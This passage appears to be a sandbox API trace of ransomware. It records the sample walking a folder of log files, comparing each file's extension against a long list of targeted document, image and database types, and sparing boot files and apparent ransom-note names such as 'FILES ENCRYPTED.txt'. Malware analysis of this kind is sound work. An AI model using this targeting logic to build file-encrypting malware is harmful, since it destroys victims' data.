lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".backup") returned 7 [0147.794] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0147.794] lstrlenW (lpString=".bak") returned 4 [0147.794] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".bay") returned 4 [0147.794] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".bd") returned 3 [0147.794] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0147.794] lstrlenW (lpString=".bin") returned 4 [0147.794] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".bmp") returned 4 [0147.794] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".bz2") returned 4 [0147.794] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".c") returned 2 [0147.794] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0147.794] lstrlenW (lpString=".cdr") returned 4 [0147.794] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".cer") returned 4 [0147.794] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".cf") returned 3 [0147.794] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0147.794] lstrlenW (lpString=".cfc") returned 4 [0147.794] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".cfm") returned 4 [0147.794] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".cfml") returned 5 [0147.794] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0147.794] lstrlenW (lpString=".cfu") returned 4 [0147.794] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".chm") returned 4 [0147.794] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".cin") returned 4 [0147.794] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".class") returned 6 [0147.794] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0147.794] lstrlenW (lpString=".clx") returned 4 [0147.794] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".config") returned 7 [0147.794] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0147.794] lstrlenW (lpString=".cpp") returned 4 [0147.794] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".cr2") returned 4 [0147.795] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".crt") returned 4 [0147.795] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".crw") returned 4 [0147.795] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".cs") returned 3 [0147.795] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0147.795] lstrlenW (lpString=".css") returned 4 [0147.795] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".csv") returned 4 [0147.795] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".cub") returned 4 [0147.795] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dae") returned 4 [0147.795] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dat") returned 4 [0147.795] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".db") returned 3 [0147.795] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0147.795] lstrlenW (lpString=".dbf") returned 4 [0147.795] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dbx") returned 4 [0147.795] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dc3") returned 4 [0147.795] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dcm") returned 4 [0147.795] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dcr") returned 4 [0147.795] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".der") returned 4 [0147.795] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dib") returned 4 [0147.795] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dic") returned 4 [0147.795] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dif") returned 4 [0147.795] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".divx") returned 5 [0147.795] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0147.795] lstrlenW (lpString=".djvu") returned 5 [0147.795] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0147.795] lstrlenW (lpString=".dng") returned 4 [0147.795] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".doc") returned 4 [0147.795] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".docm") returned 5 [0147.795] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0147.795] lstrlenW (lpString=".docx") returned 5 [0147.795] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0147.795] lstrlenW (lpString=".dot") returned 4 [0147.795] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0147.795] lstrlenW (lpString=".dotm") returned 5 [0147.795] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".dotx") returned 5 [0147.796] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".dpx") returned 4 [0147.796] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dqy") returned 4 [0147.796] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dsn") returned 4 [0147.796] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dt") returned 3 [0147.796] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0147.796] lstrlenW (lpString=".dtd") returned 4 [0147.796] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dwg") returned 4 [0147.796] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dwt") returned 4 [0147.796] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".dx") returned 3 [0147.796] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0147.796] lstrlenW (lpString=".dxf") returned 4 [0147.796] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".edml") returned 5 [0147.796] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".efd") returned 4 [0147.796] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".elf") returned 4 [0147.796] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".emf") returned 4 [0147.796] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".emz") returned 4 [0147.796] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".epf") returned 4 [0147.796] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".eps") returned 4 [0147.796] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".epsf") returned 5 [0147.796] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".epsp") returned 5 [0147.796] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".erf") returned 4 [0147.796] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".exr") returned 4 [0147.796] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".f4v") returned 4 [0147.796] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".fido") returned 5 [0147.796] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0147.796] lstrlenW (lpString=".flm") returned 4 [0147.796] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".flv") returned 4 [0147.796] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".frm") returned 4 [0147.796] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0147.796] lstrlenW (lpString=".fxg") returned 4 [0147.796] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".geo") returned 4 [0147.797] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".gif") returned 4 [0147.797] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".grs") returned 4 [0147.797] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".gz") returned 3 [0147.797] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0147.797] lstrlenW (lpString=".h") returned 2 [0147.797] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0147.797] lstrlenW (lpString=".hdr") returned 4 [0147.797] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".hpp") returned 4 [0147.797] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".hta") returned 4 [0147.797] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".htc") returned 4 [0147.797] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".htm") returned 4 [0147.797] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".html") returned 5 [0147.797] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0147.797] lstrlenW (lpString=".icb") returned 4 [0147.797] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".ics") returned 4 [0147.797] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".iff") returned 4 [0147.797] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".inc") returned 4 [0147.797] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".indd") returned 5 [0147.797] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0147.797] lstrlenW (lpString=".ini") returned 4 [0147.797] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".iqy") returned 4 [0147.797] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".j2c") returned 4 [0147.797] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".j2k") returned 4 [0147.797] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".java") returned 5 [0147.797] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0147.797] lstrlenW (lpString=".jp2") returned 4 [0147.797] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".jpc") returned 4 [0147.797] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".jpe") returned 4 [0147.797] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".jpeg") returned 5 [0147.797] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0147.797] lstrlenW (lpString=".jpf") returned 4 [0147.797] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".jpg") returned 4 [0147.797] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0147.797] lstrlenW (lpString=".jpx") returned 4 [0147.798] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".js") returned 3 [0147.798] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0147.798] lstrlenW (lpString=".jsf") returned 4 [0147.798] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".json") returned 5 [0147.798] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0147.798] lstrlenW (lpString=".jsp") returned 4 [0147.798] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".kdc") returned 4 [0147.798] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".kmz") returned 4 [0147.798] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".kwm") returned 4 [0147.798] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".lasso") returned 6 [0147.798] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0147.798] lstrlenW (lpString=".lbi") returned 4 [0147.798] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".lgf") returned 4 [0147.798] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".lgp") returned 4 [0147.798] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".log") returned 4 [0147.798] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0147.798] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0147.798] lstrlenW (lpString=".HCK") returned 4 [0147.798] lstrcmpiW (lpString1=".HCK", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0147.798] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0147.798] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0147.798] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrcmpiW (lpString1="winhost.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0147.798] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0147.798] FindNextFileW (in: hFindFile=0x6cb2d8, lpFindFileData=0x34cf800 | out: lpFindFileData=0x34cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0147.798] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0147.798] lstrlenW (lpString=".1cd") returned 4 [0147.798] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".3ds") returned 4 [0147.798] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".3fr") returned 4 [0147.798] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".3g2") returned 4 [0147.798] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0147.798] lstrlenW (lpString=".3gp") returned 4 [0147.798] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".7z") returned 3 [0147.799] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.799] lstrlenW (lpString=".accda") returned 6 [0147.799] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".accdb") returned 6 [0147.799] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".accdc") returned 6 [0147.799] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".accde") returned 6 [0147.799] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".accdt") returned 6 [0147.799] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".accdw") returned 6 [0147.799] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0147.799] lstrlenW (lpString=".adb") returned 4 [0147.799] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".adp") returned 4 [0147.799] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai") returned 3 [0147.799] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0147.799] lstrlenW (lpString=".ai3") returned 4 [0147.799] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai4") returned 4 [0147.799] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai5") returned 4 [0147.799] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai6") returned 4 [0147.799] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai7") returned 4 [0147.799] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ai8") returned 4 [0147.799] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".anim") returned 5 [0147.799] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0147.799] lstrlenW (lpString=".arw") returned 4 [0147.799] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".as") returned 3 [0147.799] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0147.799] lstrlenW (lpString=".asa") returned 4 [0147.799] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".asc") returned 4 [0147.799] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".ascx") returned 5 [0147.799] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0147.799] lstrlenW (lpString=".asm") returned 4 [0147.799] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".asmx") returned 5 [0147.799] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0147.799] lstrlenW (lpString=".asp") returned 4 [0147.799] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0147.799] lstrlenW (lpString=".aspx") returned 5 [0147.799] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0147.799] lstrlenW (lpString=".asr") returned 4 [0147.799] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".asx") returned 4 [0147.800] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".avi") returned 4 [0147.800] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".avs") returned 4 [0147.800] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".backup") returned 7 [0147.800] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0147.800] lstrlenW (lpString=".bak") returned 4 [0147.800] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".bay") returned 4 [0147.800] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".bd") returned 3 [0147.800] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0147.800] lstrlenW (lpString=".bin") returned 4 [0147.800] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".bmp") returned 4 [0147.800] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".bz2") returned 4 [0147.800] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".c") returned 2 [0147.800] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0147.800] lstrlenW (lpString=".cdr") returned 4 [0147.800] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cer") returned 4 [0147.800] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cf") returned 3 [0147.800] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0147.800] lstrlenW (lpString=".cfc") returned 4 [0147.800] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cfm") returned 4 [0147.800] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cfml") returned 5 [0147.800] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0147.800] lstrlenW (lpString=".cfu") returned 4 [0147.800] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".chm") returned 4 [0147.800] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cin") returned 4 [0147.800] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".class") returned 6 [0147.800] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0147.800] lstrlenW (lpString=".clx") returned 4 [0147.800] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".config") returned 7 [0147.800] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0147.800] lstrlenW (lpString=".cpp") returned 4 [0147.800] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".cr2") returned 4 [0147.800] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".crt") returned 4 [0147.800] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0147.800] lstrlenW (lpString=".crw") returned 4 [0147.800] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".cs") returned 3 [0147.801] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0147.801] lstrlenW (lpString=".css") returned 4 [0147.801] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".csv") returned 4 [0147.801] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".cub") returned 4 [0147.801] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dae") returned 4 [0147.801] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dat") returned 4 [0147.801] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".db") returned 3 [0147.801] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0147.801] lstrlenW (lpString=".dbf") returned 4 [0147.801] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dbx") returned 4 [0147.801] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dc3") returned 4 [0147.801] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dcm") returned 4 [0147.801] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dcr") returned 4 [0147.801] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".der") returned 4 [0147.801] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dib") returned 4 [0147.801] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dic") returned 4 [0147.801] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dif") returned 4 [0147.801] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".divx") returned 5 [0147.801] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".djvu") returned 5 [0147.801] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".dng") returned 4 [0147.801] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".doc") returned 4 [0147.801] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".docm") returned 5 [0147.801] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".docx") returned 5 [0147.801] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".dot") returned 4 [0147.801] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dotm") returned 5 [0147.801] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".dotx") returned 5 [0147.801] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0147.801] lstrlenW (lpString=".dpx") returned 4 [0147.801] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0147.801] lstrlenW (lpString=".dqy") returned 4 [0147.801] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 Thread: id = 306 os_tid = 0x1378 Thread: id = 307 os_tid = 0x1274 Process: id = "18" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x1cb3c000" os_pid = "0x8b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0xcd4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 276 os_tid = 0x7d4 [0150.121] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff743a50000 [0150.121] __set_app_type (_Type=0x1) [0150.121] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff743a66d00) returned 0x0 [0150.121] __getmainargs (in: _Argc=0x7ff743a89200, _Argv=0x7ff743a89208, _Env=0x7ff743a89210, _DoWildCard=0, _StartInfo=0x7ff743a8921c | out: _Argc=0x7ff743a89200, _Argv=0x7ff743a89208, _Env=0x7ff743a89210) returned 0 [0150.121] _onexit (_Func=0x7ff743a67fd0) returned 0x7ff743a67fd0 [0150.121] _onexit (_Func=0x7ff743a67fe0) returned 0x7ff743a67fe0 [0150.122] _onexit (_Func=0x7ff743a67ff0) returned 0x7ff743a67ff0 [0150.122] _onexit (_Func=0x7ff743a68000) returned 0x7ff743a68000 [0150.122] _onexit (_Func=0x7ff743a68010) returned 0x7ff743a68010 [0150.122] _onexit (_Func=0x7ff743a68020) returned 0x7ff743a68020 [0150.122] GetCurrentThreadId 